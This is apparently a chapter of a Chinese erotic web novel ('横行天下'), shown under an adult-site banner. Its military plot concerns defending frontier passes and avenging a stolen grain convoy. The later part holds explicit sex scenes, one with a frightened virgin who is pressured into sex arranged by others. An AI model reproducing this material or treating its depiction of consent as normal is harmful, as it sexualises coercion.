未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

【横行天下】 第16-20集 (完) 作者:妖精

【横行天下】   
   作者:妖精
   出版社:河图文化


  【第十六集】第一章:奉命守三关

  第二天,六郎来到飞虎城,在吃了早饭后,六郎召集飞虎城所有的将领前来商议大事,六郎首先强调个人职责,要这些将领必须只遵从他一个人的命令,但有一个将领却说他只听命于皇上,而程世杰才刚造反,现在六郎又要独揽大权,于理不通。

  六郎闻言,痛骂了那将领一顿,并将他重打六十大板,然后命人将他关到监牢。

  六郎在重新任命将领后,便将飞虎城的两万名精兵加上杨四姐带来的三千名兵马重新分成六个军队,每个军队大约有四千人,并编有一名将军、三名副将,而副将分别负责司法、财政和训练三项工作,但因为人手不够,六郎又从军中挑选几名有读过书的士兵在旁边协助那些将领,并且每天都要向他报告军队的事情。

  六郎并开始招募全城的青壮年,并且让来报到的人可以领到二两银子,所以来的人很多,到了下午时甚至已经招募到两多人。

  这时,六郎命令手下收集全城的废铁,并要大家炼化那些废铁。

  众女见状,搞不懂六郎的用意,便纷纷询问起原因。

  六郎道:「程世杰兵败解塘关后,绝不会善罢甘休,我猜想他必然会勾结大辽,而大辽早就在旁虎视眈眈,只等着程世杰相应。而这飞虎城十分重要,你们想若是失去了飞虎城,那卧牛关和解塘关就成为孤城,到时便会腹背受敌,而且还得不到援助。前些时候,我们守三台关时就吃过亏,城内的弓箭根本不够用,最后还是靠丢石头击退程世杰的兵马,所以我要提前做好準备!大家,一场恶战即将要来了……」

  杨四姐问道:「大辽会发兵?」

  六郎点头道:「不但会,而且他们第一个目标就是飞虎城。现在城中仅有两万多名兵,粮食也不多,所以这两天我打算回瓦桥关一趟催粮催兵,顺便交圣旨。」

  众人闻言,纷纷赞同六郎的想法。

  六郎继续说道:「飞虎城也算是大城,城内除了有两万名兵马外,还有十万名百姓,我计算了一下,能够参加保卫飞虎城的壮年人至少有一万名,现在我们已经招募两千名兵,所以我们还要继续,而这件事就由慕容飞雪和紫若儿负责,你们就一边招兵买马,一边编队训练,争取在短时间内将将他们练成铜筋铁骨!」

  慕容飞雪闻言,点头应了一声。

  六郎对白云妃和白雪妃道:「你们则继续蒐集废铁,炼铁製造箭枝,」

  白雪妃姐妹俩闻言领命。

  六郎对兰梦蝶说道:「你则负责全城治安。这几天要多派探马出去走动,密切注意大辽的动静。」

  兰梦蝶闻言领命。

  见事情安排得差不多后,六郎便吩咐準备吃晚饭。

  杨四姐问道:「六郎,大家都有事做,那我呢?」

  六郎笑道:「你保护我回瓦桥关啊!」

  杨四姐继续问道:「那其他人就不回去吗?」

  六郎说道:「回去干什幺?回去哪里有在飞虎城逍遥自在?」

  潘凤说道:「那幺我呢?」

  六郎道:「你当然要跟我回去覆旨,你可是皇上钦封的昭阳公主,虽然和亲失败,但你也得回去见皇上,并帮我证明程世杰的反心。」

  潘凤说道:「我不想回去,等回去后,说不定皇上又会将我指婚给谁。」

  六郎笑道:「放心!即使皇上再指婚,也只能指婚给我,不过我可不一定会答应啊!」

  还不等六郎动身,赵光义就派专使到飞虎城宣旨,要六郎马上到瓦桥关面圣。

  六郎接到圣旨后,随即找来张光北和李同顺,便要与杨四姐,潘凤和潘豹回瓦桥关覆旨。

  在临行时,六郎吩咐白云妃要悉心照料已经怀有身孕的慕容飞雪和白雪妃,这才扬鞭上路。

  在日落时分,六郎等人回到瓦桥关,就先去见赵光义。

  赵光义的神情既有高兴,也有担忧。

  这时,六郎让张光北和李同顺将山西之行的经过讲给赵光义听。

  张光北两人早就和六郎串通好,便将程世杰说得一无是处,之后又大大夸奖六郎一番,说六郎足智多谋,临危不乱,带着大家与程世杰拼得你死我活,还收复巴郡、三台关、解塘关、卧牛关及飞虎城五座关隘,然而程世杰兵多将广,而他们又缺乏粮草,只能暂时採取坚守的方式。

  这时,六郎恳请赵光义发兵,以讨伐程世杰。

  赵光义点头道:「爱卿辛苦了!这件事,等明日徵求众人的意见后,朕再做定夺!」

  宋太宗对潘凤问道:「昭阳,那程世杰之子是不是欺负你了?」

  潘凤哭道:「皇上,程世杰密谋要造反,而且他们一家都不是好东西,你将凤儿和亲给程世杰的儿子,但想不到程世杰的两个儿子根本就是混蛋,竟抢着和凤儿入洞房,呜呜!」

  赵光义闻言气得鬍子直发抖,将手中的茶杯重重的往桌上一摔,骂道:「简直是禽兽不如!」

  这时,六郎将程世杰与大辽私通的密信交给赵光义。

  赵光义看了那些信件后,气得马上站起来,道:「马上发兵,诛杀程世杰那逆贼!」

  六郎想了想,道:「皇上,这件事先不要急,我们先观察大辽的动静,免得大军进入山西后,被大辽趁机偷袭。」

  赵光义闻言,连连称是。

  当六郎回到杨家在瓦桥关暂时居住的府邸、见到杨令公等人时,六郎顿时百感交集,尤其见四娘由于想念六郎,鬓角还添了几根白髮。

  六郎用了大半夜的时间,将山西之行的经过讲给杨令公等人听。

  杨令公讚赏道:「六郎,你果然不负众望,没有给我丢脸。你一路上鞍马劳顿,今天就早点歇息吧!」

  沈灵梅听完六郎讲述山西之行的事情后,内心对慕容飞雪等人羡慕不已,见她们个个都立了大功,而她却只是待在瓦桥关,令她一心盼望也能跟慕容飞雪等人一起上战场并肩作战。

  杨三郎与杨七郎闻言后,均摩拳擦掌,表示若是要征讨程世杰,必要请战杀敌,而杨二郎和杨五郎则沈默未表态,唯有杨大郎闷闷不乐,想必是在想念慕容飞雪,并且还偷偷问杨四姐为何不见慕容飞雪回来。

  杨四姐知道是六郎故意不让慕容飞雪回来,但事到如今,也只能骗杨大郎:「飞虎城的情况十分危急,大嫂正在加强飞虎城的城防,估计过段时间就会回来了! 」

  杨大郎闻言,只能无奈地点了点头。

  第二天一早,再吃完早饭后,六郎跟着杨令公去见赵光义。

  赵光义将六郎山西之行的情况告诉群臣后,便询问众人的想法。

  其实程世杰兵变之事已经成为事实,而且大家心里都有数,但关于是否要出兵,众人都是各持己见,但是大部分的人都主张按兵不动。

  潘仁美上奏:「皇上,程世杰只不过是地方节度使,这只是小小的兵乱,根本不足为惧。目前辽兵压境,兵力是我军的两倍;如果这时分兵攻打程世杰,若辽军趁机南下,恐怕有些不妥啊!」

  赵光义又徵求群臣的意见后,便对六郎道:「杨爱卿!」

  六郎出班施礼道:「皇上!」

  赵光义道:「那程世杰起兵谋反,当属大逆不道,但现在大宋正与大辽两军对垒,都在静观其变,我想大辽很愿意看到我们和程世杰发生冲突,然后坐收渔翁之利。以朕的意思,先让程世杰闹一阵子,咱们看看大辽的反应再做决定。」

  六郎道:「皇上!三台关、卧牛关与飞虎城现在缺乏兵马,一旦程世杰在太原重新调动大军攻打,唯恐三关会失守,既然皇上暂时不想平定叛乱,也要马上增加三关的驻防兵马啊!」

  赵光义闻言点头,对六郎说道:「爱卿,你看是不是从真定调一些兵马去支援三关的防御。」

  六郎说道:「皇上,真定乃是河北重镇,一旦丢失,后果将不堪设想,我已经传令加紧募兵,但仍然不够,还请皇上以大局为重,另想良策。」

  潘仁美奏道:「皇上,要不从易水南岸大营调一些兵马……」

  杨令公道:「潘大人,这更是要不得。易水南岸大营乃是河北的凭仗,一旦兵力薄弱,就会影响到大局,如果那时大辽攻向瓦桥关,我们要如何抵挡攻击?」

  潘仁美闻言,闭口不再说话。

  最后,赵光义封六郎为北路元帅外加镇西大将军,总领三台关、卧牛关和飞虎城三关的兵马,西拒程世杰,北抗大辽,而赵光义便不管此事了。

  六郎和杨令公商议了一会儿,便告诉杨令公,今天下午他要回飞虎城。

  杨令公点头同意,并嘱咐六郎要多加小心,边关防务不可儿戏,要尽心尽力,恪守职责,守护好每一寸土地,虽然赵光义有点昏庸,但身为臣子,仍要为国为民做事。

  六郎闻言牢记在心。

  杨七郎说道:「六哥,我要跟你一起去飞虎城,我跟爹说好了,所以你必须要带我一起去。」

  六郎笑了笑,看杨令公点头同意,便答应杨七郎的要求。

  这时,潘凤和潘豹来找六郎。

  潘凤向六郎表明要跟他一起去飞虎城,而六郎自然愿意让潘凤跟着,而潘豹和杨七郎一见如故,两人黑瘦精悍,都拥有天生神力。

  当六郎将粮草準备好后,便带着潘凤、潘豹、沈灵梅与陆雪瑶等人前往飞虎城。

  一路上,六郎等人说说笑笑,出了瓦桥关,就直奔向飞虎城。

  当六郎等人押运粮草来到飞虎城时,慕容飞雪、兰梦蝶、紫若儿、白云妃与白雪妃都出城迎接。

  六郎见状,自然高兴得不得了。

  慕容飞雪说道:「六郎,现在飞虎城的总兵力已经达到四万名,而我和紫若儿每天都在严格地训练军队。」

  六郎闻言点头,接着又问白云妃和白雪妃蒐集废铁的情况。

  白云妃道:「我们在城内大肆地蒐集废铁,并将其炼化后製成箭枝。现在我军共有四千名弓弩手,而每名弓弩手都可以分配到五十枝箭。」

  六郎点头道:「不错。」

  白雪妃道:「六郎,这几天,我忙着整顿砲兵,而飞虎城共有二十门虎威炮,这种炮射程远,威力大,但弹药却没有很充足,而且还有四十多门流风炮,这种炮射程较近,是用来攻击攻城的步兵,这种的弹药很充足,另外我在飞虎城发现一大批的『仙女散花雷』,这是我们悬空岛研究的特殊火器,在拉响雷、上导线后,将其投掷出去,就可以在敌军中产生大面积的爆炸,能杀伤敌军。」

  说着,白雪妃将仙女散花雷拿给六郎。

  六郎见状惊讶不已,心想:这不就是我们的手雷吗?想不到宋代的奇门已经研究出来了,真是太好了!想到这里,六郎高兴地亲了白雪妃一口,道:「雪妃,真是太谢谢你了。」

  白雪妃继续道:「我军十分缺少砲手,虽然有一些兵会,可技术都很差,这样会白白浪费掉砲弹,所以我特地挑选十几个伶俐的兵,并亲自教他们要领,然后再让他们回各自营中传授其他的砲手,这几天都把我忙坏了!」

  六郎心疼道:「雪妃,你为我怀宝宝,还要这样劳累,回头我一定好好奖赏你。」
  【第十六集】第二章:粮草被劫

  第二天,在吃早饭的时候,慕容飞雪道:「六郎,刚刚我接到卧牛关仁堂会将军的信函,他在卧牛关招募了将近五千名新兵,而因为兵源增多,加上他将一部分的军粮拿去支援解塘关,所以军粮紧急,仁将军已经开始徵收军粮,并看看能不能从飞虎城拨一部分军粮到卧牛关,以备急用!」

  六郎道:「那就拨一千石粮食给仁将军,而且等下就派人送过去,由于这粮食太重要了,必须要有亲信跟随我才能放心,你们有谁愿意担当此重任?」

  众女闻言都自告奋勇。

  六郎考虑了一会儿,道:「这次任务,就让云妃去吧!」

  六郎拍了拍白云妃的香肩,道:「给你一千名兵,路上一定要小心,千万不要搞砸这件事。」

  白云妃领命,在吃完早饭后,点了一千兵马,便带着粮食奔往卧牛关。

  两天后,当六郎等人正在用午膳,才刚吃到一半时,就见白云妃满脸灰尘的跑进来,来到六郎面前哭道:「相公,不好了,我押运的粮草被人劫走了!」

  六郎闻言跳了起来,一拍桌子,怒喝道:「谁这幺大的胆子?居然敢在太岁头上动土!云妃你不要急,慢慢说,将事情说清楚。」

  白云妃止住哭泣,道:「抢走粮食的人很多,而且似乎早就有準备。因为当我带着兵马到途中时,那些人就突然出现,令我们伤亡惨重,虽然我奋力拼杀,好不容易挽回局面,但那些人却有援兵出现,我见实在不敌,就只好丢掉粮食逃走了!」

  六郎安慰道:「犯不着为了一千石粮食丢了性命,反正粮食丢了我们可以抢回来,那你有打听清楚劫粮食的人是谁吗?」

  白云妃道:「现在还不清楚,不过我已经有找人去调查了,另外我还派人将这件事告知在卧牛关的仁堂会将军,他应该也会彻查此事。」

  六郎点了点头,道:「虽然这批粮食不多,但我决不允许有这种类似蔑视我军的情况发生!传令点一千名轻骑兵,火速前往事发地点。」

  慕容飞雪道:「六郎,你只带一千名人马是不是太少了?」

  六郎道:「事发地点应该距离卧牛关很近,而仁堂会将军应该比我早知道这情况,加上他招募了不少兵马,若是到时需要兵力,那就从他那里调动,何况这些粮食本来就是要给他的,他当然要出一分力。」

  这时,众女纷纷自告奋勇要跟六郎一起去。

  六郎道:「这只是点小事,现在重要的是不可以怠慢飞虎城的军务。而我不在的期间,慕容飞雪就总掌军务,雪瑶则训练兵马,梦蝶和潘凤负责城内的治安,紫若儿就掌管军纪。」

  杨四姐和白雪妃问道:「我们呢?」

  六郎正色道:「跟我前往卧牛关。」

  六郎点齐一千名轻骑兵,便与杨四姐、白云妃和白雪妃前往白云妃被抢粮食的地方。

  当六郎等人到了白云妃被抢粮食的地方时,已经过了掌灯时分,而仁堂会也刚带一小队人马赶到,他在与六郎见面后,就开始详细地询问驻扎在此地的白云妃的部下。

  那部下告诉六郎等人,打劫粮食的那些人顺着前面的岔路往北走,而因为那些人的警戒心很强,令他无法继续跟蹤,等过了一会儿他再上前时,就发现那些人已经失去蹤迹了!

  仁堂会问道,「那你们还有发现到什幺线索吗?」

  那部下说道:「再往前走有两条岔路,一条路通往莲花峰,另一条路通往晋阳县城。而我们在两条路上都有发现到杂乱的马蹄印,并盘问过过路的樵夫,她们说曾看见有批人马前往莲花峰,但并没有看见有粮草车。」

  仁堂会点了点头,道:「六将军,这莲花峰有聚集一伙亡命之徒,他们自称为莲花教,而教主为轩辕霸一,据说有练一套刀枪不入的神功,并拥有大约三、四千名信徒,大多是背着人命的江洋大盗,他们在三年前佔据莲花峰,另外这轩辕霸一和晋阳县城的守将关係很好,所以这次的劫粮很有可能是他们联手行动。」

  六郎点头道:「确实有这个可能!但那一个小小的晋阳县城的守将,为何有这幺大的胆子敢劫我军的粮食?」

  仁堂会道:「这晋阳县城三面环山,往南是通我们这里,而往北有一条小路通往大同。我想自从我们佔据卧牛关后,晋阳县城的守将彭有亮见程世杰没有出兵的意思,便开始有做长期对抗的準备,但因为想从北面运粮食实在很困难,所以就动了我军粮食的主意。」

  六郎骂道:「这些混蛋竟然真敢打我的主意,看我怎幺收拾他们!只是他们是怎幺知道我军的运粮行动的?」

  仁堂会想了想,道:「也许运粮的队伍中有内奸……」

  白云妃顿时恍然大悟,道:「我想起来了,当运粮队伍还未出飞虎城时,有一个人突然说要请 假!但现在想想,肯定是他去通风报信了,而我还带着粮食当然不会比他快,所以当他报完信后,那些人便可以在那里设下埋伏袭击了!」

  六郎道:「原来是这幺回事!不过既然已经知道是谁干的,那明天我们就调集兵马,去踏平晋阳县城。仁将军,照你来看,这晋阳县城好不好攻? 」

  仁堂会道:「六将军,晋阳县城的兵力不足五千名,虽然彭有亮足智多谋,但仍不足为惧,重点是那些在莲花峰的匪兵,他们若是知道晋阳县城受到攻击,肯定会不惜一切代价地来支援,而这将为我们攻打晋阳县城时带来不小的麻烦。」

  六郎闻言哈哈大笑,道:「这样就最好不过了!我就怕我在攻打晋阳县城时,那些莲花峰的匪兵会置之不理,而且他们佔据着莲花峰,如果想要攻打他们确实不容易,可若是咱们佯装攻打晋阳县城,来个围点打援,就能狠狠地打击那些来支援晋阳县城的匪兵,然后我们再一鼓作气地拿下莲花峰,而这时晋阳县城就变成一座孤城,那岂不是指日可破?」

  仁堂会竖起大拇指,讚道:「六将军果然神机妙算,那我们这就回卧牛关,等明日调动大军,攻打晋阳县城。」

  当六郎与仁堂会回到卧牛关时,待在卧牛关的众女纷纷出城迎接六郎,而且由于有好几天没有见到六郎,她们无不是泪眼矇眬。

  苗雪雁拉着六郎的手,道:「六郎,你终于回来了,我们还以为你忘了我们呢!」

  六郎说道:「这怎幺可能!我这不是回来了!」

  张慧茹和兰柳知道杨四姐在六郎心目中的地位,所以一看到杨四姐就马上到她面前对她大献殷勤,而由于杨四姐最近的心情不错,加上她已经知道六郎和那些女人之间的事了,便也就睁一只眼,闭一只眼了。

  张慧清和张绿华的个性腼腆,只是跟在众人身后窃窃私语。

  等六郎等人进入大厅后,六郎又见到两个女子,在细看之下,其中一个女子正是苏姬,于是六郎上前抱住苏姬,道:「苏姬,当初将你留在巴郡,我真是愧对你啊!」

  苏姬笑道:「六爷,我已经将性命交给你了!而且你是怎幺对待我,我心理清楚得很,何况我不是好好的吗?只是万马堂的人为了保护我和铁姑娘,他们都牺牲了!」

  六郎看了看铁心兰,叹道:「铁姑娘,让你受委屈了。」

  铁心兰盈盈拜倒在地上,道:「六将军,若不是有你,心兰恐怕早就死了!你的大恩大德,心兰无以为报。」

  六郎将铁心兰扶起来,问道:「你父亲,铁老将军呢?」

  铁心兰眼眶一红,道:「家父在巴郡战役中身中暗箭,不幸牺牲了!」

  六郎叹了一口气,安慰着铁心兰:「铁姑娘,你不要难过,这个仇我们早晚要报,程世杰那老贼我是不会放过他的!」

  铁心兰闻言擦了擦眼泪,重重地点了点头。

  这时,六郎召集大家商议该如何攻打晋阳县城。

  孟良与焦赞闻言,纷纷向六郎表示他们要兵发晋阳县城。

  六郎道:「你们不要急,我们肯定是要攻打晋阳县城,可在此之前我们要考虑周全。我已经与仁将军商议好了,明天就兵分两路,由我和仁将军各带一万名人马。而仁将军、孟良、焦赞和你们的两位夫人负责佯攻晋阳县城,等莲花峰的匪兵出动后,你们就掉转回头,与我率领的兵马形成合围之势,然后我们就围点打援,先击败莲花峰的匪兵。」

  孟良与焦赞闻言,皆赞同六郎的意见。

  六郎继续道:「我会带领一万名兵马,与四姐、云妃、雪妃和燕子埋伏在那些匪兵身后,到时就可以打他们一个措手不及。」

  这时,张慧茹、张慧清、兰柳还有受伤的苏姬和铁心兰问道:「那我们呢?」

  六郎道:「你们就留守在卧牛关吧!」

  见六郎打定主意,虽然张慧茹心中不乐意,但也只好照办,而她有心想问六郎今晚是不是可以跟她在一起,但见杨四姐神情冰冷地在六郎身边,她生怕惹这位姑奶奶生气,便只好作罢!因为杨四姐在战场上的凶狠劲,张慧茹至今仍难忘。

  由于明天要攻打晋阳县城,于是众人便各自回房间休息。

  苏姬才刚来卧牛关没几天,由于她的伤势还没有完全痊癒,因此这几天她与铁心兰住在一起。

  苏姬自从来到卧牛关后,就一直在盼望着六郎的到来,这时六郎来了,但却因为种种原因,苏姬无法与六郎说上几句话,令苏姬略微感到遗憾,但仍还是满心欢喜。

  铁心兰在沐浴过后,穿着一件柔软的睡袍来到苏姬身边睡下,但见苏姬出神,便笑问道:「苏姐姐是不是在想六将军?既然你想他,为何不去找他啊?」

  苏姬顿时回过神来,道:「六郎不是说了吗?明天要攻打晋阳县城。心兰,我知道你恨透了程世杰,我一定会让六郎为你报仇。」

  铁心兰含着眼泪点了点头,道:「苏姐姐,那程世杰实在太可恶了!那我们什幺时候要发兵攻打太原啊?」

  苏姬抚摸着铁心兰的秀发,说道:「我也不知道,回头再问六将军吧,不过要等他先打下晋阳县城再说。」

  当苏姬与铁心兰正在说话时,突然听到门边有动静,然后就见苗雪雁笑容满面地带着六郎进来。

  苏姬顿时心中一喜,而铁心兰却感到紧张,因为在六郎未到卧牛关时,苗雪雁就和苏姬商量好,由于她们认为铁万鸣死后,铁心兰就孤苦伶仃地活在这世上,不如就让她跟着六郎,再说六郎身边已经有这幺多女人了,多她一个也没差。

  六郎进来后,先抱着苏姬在她脸上亲了一口,道:「苏姬,你不怨我没有回巴郡找你吧?但当时的情况太危险了,我也是身不由己啊! 」

  苏姬说道!「我都说不怪你了,你被困在三台关的事情,雪雁都告诉我了。」

  六郎关切地问道:「你身上的伤怎幺样了?让我看看。」

  说着,六郎就要解开苏姬的衣襟。

  苏姬连忙道:「已经好得差不多了,你不用担心。」

  然而六郎却固执地推开苏姬的手,然后解开苏姬胸前的衣襟,发现那一箭正好射在苏姬心口下方仅一寸的地方,如果再往上一点点,恐怕她就香消玉殡了!

  一想起在太原城门时的情景,六郎仍感到心有余悸,他小心翼翼地抚摸着苏姬胸口那已经痊癒的伤痕,说道:「苏姬,我真的很担心你的伤势啊!」

  苏姬闻言,含羞地望着六郎,突然她感觉到胸前有股疼痛,竟见是六郎握着她的乳房。

  苏姬脸红道:「六爷,不要这样,心兰在这里啊!」

  六郎嘿嘿笑道:「燕子都跟我说了,心兰妹妹不是想做杨门女将吗?我今天就是来收她。」

  铁心兰娇羞道:「六爷,我怕……」

  六郎道:「怕?做杨门女将有什幺好怕的?难道你不想吗?」

  铁心兰支支吾吾地道:「我……我想,可是我……」

  六郎笑道:「既然想做,那还怕什幺?」

  说着,六郎就爬到床上。

  铁心兰原本还想闪躲,但她在床上,还能躲到哪里?

  这时,六郎抱着铁心兰的纤腰,而大手已经探入衣服内,一边揉弄着那对还不是很丰满的椒乳,一边吻着铁心兰的嘴唇。

  当六郎开始亲吻着铁心兰时,铁心兰顿时脑中一片混乱,娇躯也越来越酥软。

  苗雪雁见状,笑道:「六郎,她们就交给你了,我先走了。」

  苗雪雁刚要转身,却被六郎抓住手腕,接着六郎顺势一带,就将她拉到床上。

  六郎笑嘻嘻地说道:「燕子,你可不能走啊!」

  苗雪雁问道:「为什幺?」

  苗雪雁身上的罗裙不时扫过六郎的身体,那轻柔的薄纱带给六郎一种异样的感觉,而那淡淡的幽香也传入六郎的鼻中,令他心中不由得一荡,随即解开她身上的罗裙,一本正经的道:「心兰妹妹还未经人事,我怕她会害怕,所以想找个人示範给她看。」

  苗雪雁娇羞道,「那你可以找苏姬啊!」

  六郎褪下苗雪雁的薄绸长裤,道:「苏姬身上有伤,你又不是不知道,而且我那肉棒那幺粗,只好找你了!」

  说着,六郎将肉棒插入苗雪雁的体内。

  苗雪雁「哎呀」一声,便微微扭动着下身,让六郎的肉棒能研磨着她体内的最深处。

  苗雪雁微微颤抖着娇躯,蓦地她张开香唇狠狠地咬了六郎的肩膀一口。

  虽然六郎感到有点疼,但这种异样的刺激反而让六郎的感官更加敏锐,甚至有股令人要发狂的快感,于是六郎在加速进攻的同时,问道:「燕子,你干嘛咬我?是不是嫌我来晚了?」

  苗雪雁一边娇哼,一边道:「知道,你还问!」

  六郎笑道:「那你刚才还假正经?」

  苗雪雁不依道:「你这哪里是在疼爱人家?分明是打算先在我身上发洩,待会好专心对待苏姬和兰妹妹。」

  「兰妹妹?」

  六郎拍了拍脑袋,道:「这下好了,我身边有了大兰兰和小兰兰,现在又有一个小小兰,看来我是掉进兰花丛了!」

  铁心兰闻言,不由得咯咯笑出声。

  这时,六郎伸手分开铁心兰的双腿,并摸了进去,有种光滑而柔软的感觉,不 由得惊讶道:「小小兰,你这里是没有发育好,还是天生就这样光秃秃?」

  铁心兰红着脸,并夹紧双腿,道:「六爷,不要取笑人家嘛!人家天生就是这样,我还觉得很奇怪呢!」

  六郎抚摸着铁心兰的私处一会儿,道:「刚才我说掉进兰花丛有什幺好笑的?乖乖看我和你燕子姐姐玩游戏,一会儿就轮到你了!」

  铁心兰闻言娇呼一声,随即羞答答地用被子蒙上眼睛。

  这时,苏姬抚摸着六郎那强壮的背脊,看着六郎与苗雪雁翻云覆雨。

  六郎对苏姬道:「苏姬,你可不要生气啊!我不是不想疼你,是因为怕伤到你的身体,等我先在燕子身上享受一番,一会儿我会把精液都给你。 」

  苏姬闻言,心领神会的妖娆一笑。

  苗雪雁急道:「六爷,我也要。」

  六郎闻言,狠狠地干了苗雪雁数下,道:「这不是正在给你吗?」

  苗雪雁娇声道:「啊!看来六爷还是偏心啊!」

  六郎不语,随即一股作气,将苗雪雁杀得丢盔卸甲,溃不成军!然后六郎趴在铁心兰的身上,道:「小小兰,我来给你办手续了!」

  铁心兰疑惑地问道:「六爷,办什幺手续啊?」

  六郎将肉棒插入铁心兰的白虎洞,道:「办完这个手续,你就是杨门女将了!」

  铁心兰顿时疼得一哆嗦,不由得紧紧抓住六郎的手臂。

  六郎吻着铁心兰的香唇,听着她那轻而急促的呼吸声,然后轻轻地扳起铁心兰的身子,而看着她那紧闭的美目,六郎忍不住亲了她的脸,心想:哇!小小兰的脸好烫啊!

  这时,六郎将嘴唇慢慢往下移,来到铁心兰的胸部,并含着她的乳头,还用舌尖轻轻地拨弄着,挑逗着铁心兰。

  铁心兰随着六郎舔弄的节奏,身体开始颤抖起来,双手则抱住六郎的头。

  六郎见状,便开始与铁心兰翻云覆雨……

  最后,铁心兰发出几声尖锐的尖叫声后,就全身软绵绵地瘫倒在床上,身子微微颤抖着,显然还在享受着高潮后的余韵。

  六郎爱怜地抚摸着铁心兰的头髮,低头看着床上的落红,随即满意地笑出来,然后六郎越过苗雪雁的身子,来到苏姬的身边。

  苏姬显然已经情动,当她一接触到六郎的身子时,就忍不住将那火热的香舌深入六郎的嘴内,而六郎则充满爱恋地亲吻着苏姬。

  苏姬无力地臣服在六郎的身下,神情就有如一朵被折下而坠落至地上的白牡丹般仰视着六郎,而她那带了三分哀怨,七分哀求的表情,让六郎不由得想要好好地照顾她。

  这时,六郎体内的慾望在升腾,甚至在熊熊地燃烧,那有如火灼般的热浪在六郎与苏姬的身上流动着,而两人的身体也因此布上一抹嫣红。

  六郎略微粗野地吻着苏姬,而苏姬也热情地回应着六郎的吻,并用舌头缠着六郎的舌头,而苏姬的这动作,那甜美的津液勾起了六郎体内的慾望。

  在激吻了一段时间后,六郎与苏姬皆热血沸腾起来,然后六郎将肉棒插入苏姬的体内,并开始抽插着。

  过了一会儿,六郎在一声怒吼中,将精液射入苏姬的体内,而苏姬也欣然承受能让她恢复体力的精液,同时也迎来最畅快、最强烈的高潮。

  「六爷,苏姬好美、好舒服啊!」

  在经过一阵有如狂风暴雨的云雨之欢后,六郎与苏姬都满足了,同时身体也无法动弹了。

  六郎在苏姬身上休息得差不多后,便悄悄起身,见苏姬和铁心兰神情安详地熟睡,就叫醒苗雪雁。

  苗雪雁被六郎叫醒后,就披上衣服跟六郎走出来,轻声问道:「六爷,你要带人家去哪里啊?」

  这时,六郎拉着苗雪雁来到杨四姐的房间,道:「你不是想要名正言顺吗?」

  苗雪雁惊喜道:「六爷,你和四姐说这件事了?」

  六郎道:「燕子,现在在这些女人中,我最喜欢的就是你了!你不仅长得漂亮,而且武功又好,最重要的是……」

  苗雪雁闻言停下脚步,靠在六郎的身上,问道:「六爷,最重要的是什幺?」

  六郎拦腰抱起苗雪雁,笑道:「当然是淫蕩了!」

  苗雪雁羞道:「人家才没有呢,你可不要胡说啊!」

  说着,苗雪雁的一只手滑下去,握住了六郎的肉棒。

  六郎道:「你还说不是!刚说完你就这样做了,我看再过一阵子,你就可以代替张慧茹了!」

  说完,六郎抱着苗雪雁进入房间。

  只见杨四姐在秀榻上,而白雪妃姐妹俩则围在她旁边。而杨四姐面对着白雪妃,与她述说着相知之情,两人早就互相倾慕对方的才情,早就想认对方为知己,但却苦于没有机会,如今正好有这个机会,在简短的几句对话后,两人都有种相逢恨晚的感觉。

  见杨四姐与白雪妃相谈甚欢的样子,白云妃抱着杨四姐的纤腰,想要从旁插几句话,可她们聊得 非常投机,竟对白云妃视而不见,而听着杨四姐与白雪妃谈着十大名曲,令白云妃开始昏昏欲睡。

  白云妃本来是想等六郎回来,但却迟迟不见六郎,她将玉手伸到杨四姐的胸前抚摸了一阵子,却发现杨四姐一点反应都没有,只好叹息一声,就搂着杨四姐那柔滑如锻的纤腰睡着了。

  六郎见杨四姐与白雪妃谈得很投机,就抱着苗雪雁挤到床上,将苗雪雁放到他和杨四姐的中间,然后扶着苗雪雁的香臀,随即用力地向前一撞,就与苗雪雁结合在一起了!

  六郎的大手环着苗雪雁的纤腰,道:「燕子,四姐就在你面前,你还不赶紧说出来啊!」

  苗雪雁娇羞地抓着杨四姐的玉手,道:「四姐,我……能不能做杨门女将啊?」

  杨四姐看着苗雪雁那略带娇羞的美靥,还有那冰肌玉骨,尤其那被六郎的大手覆盖住的莹白酥胸,就有如天山上万年不化的雪峰,不由得连连点头道:「不愧是天山御剑,怪不得六郎喜欢你。你要傲杨门女将?」

  苗雪雁娇羞地点了点头,一双玉手伸到杨四姐的玉腿上,讨好道:「四姐,你长得好美啊,我真是羡慕死你了!」

  虽然大床宽阔,但一下子挤了五个人,令空间变得狭窄,使苗雪雁的身子几乎贴到杨四姐的身上。

  杨四姐「嗯」了一声,道:「嘴巴倒是挺甜的,可若是想做杨门女将,必须要有真才实学,如果只有长得漂亮那可不行。」

  六郎喘了一口气,道:「她很能打的!」

  说完,六郎就抱着苗雪雁,开始在她体内抽插起来。

  杨四姐道:「难道你只是一介武夫?就没有其他本事吗?」

  苗雪雁道:「我自小熟知音律,刚才听四姐和雪妃谈论着『高山流水』这首曲,刚好我也十分喜欢这首曲子,不知道这可以吗?」

  杨四姐顿时脸上浮现惊喜,问道:「你真的熟悉音律吗?」

  苗雪雁微微弓起身子,以承受着六郎的攻击,回道:「雪雁略知一二。」

  杨四姐道:「那你说说看。」

  苗雪雁道:「『高山流水』这首曲,传说是春秋的琴师操伯牙一次在荒山野地弹琴,而樵夫锺子期竟能领会这是描绘『巍巍乎志在高山』和『洋洋乎志在流水』之意,而操伯牙甚至惊曰:『善哉,子之心与吾同。』而当锺子期死后,操伯牙由于痛失知音,便摔琴断弦,终身不再弹琴,故有『高山流水』之曲。而高山流水取材于『伯牙鼓琴遇知音』,有多种谱本,并有琴曲和筝曲两种,但两者同名异曲,风格完全不同。」

  杨四姐点头道:「说得对。」

  说着,杨四姐的眼底流露出对苗雪雁的敬佩,一只玉手不由得放到苗雪雁那滑如绸缎的美臀上。

  苗雪雁继续说道:「在战国时已有关于高山流水这首琴曲的故事在流传,故也有传『高山流水』是伯牙所作。有本绝世的《神奇秘谱》此谱之『高山』与『流水』解题有『高山』与『流水』两曲,但原本应该只有一曲。初志在乎高山,言仁者乐山之意;后志在乎流水,言智者乐水之意;到唐便分为两曲,不分段数;后来则分高山为四段,流水为八段。而『 高山』与『流水』这两首着名的古琴曲便与伯牙鼓琴遇知音的故事在民间广泛流传。 」

  杨四姐问道:「我和雪妃都只会用琴弹奏此曲,那雪雁你可会用古筝弹奏?」

  苗雪雁微微点头,道:「『高山流水』这首曲子若是用秦筝弹奏,应该会好过用任何宝琴弹奏。」

  这时,白雪妃插嘴道:「这我倒是知道,我姑姑曾经说过,但就像她那样的音律高手也不会弹奏秦筝,没想到你却可以,真是让人羡慕啊!」

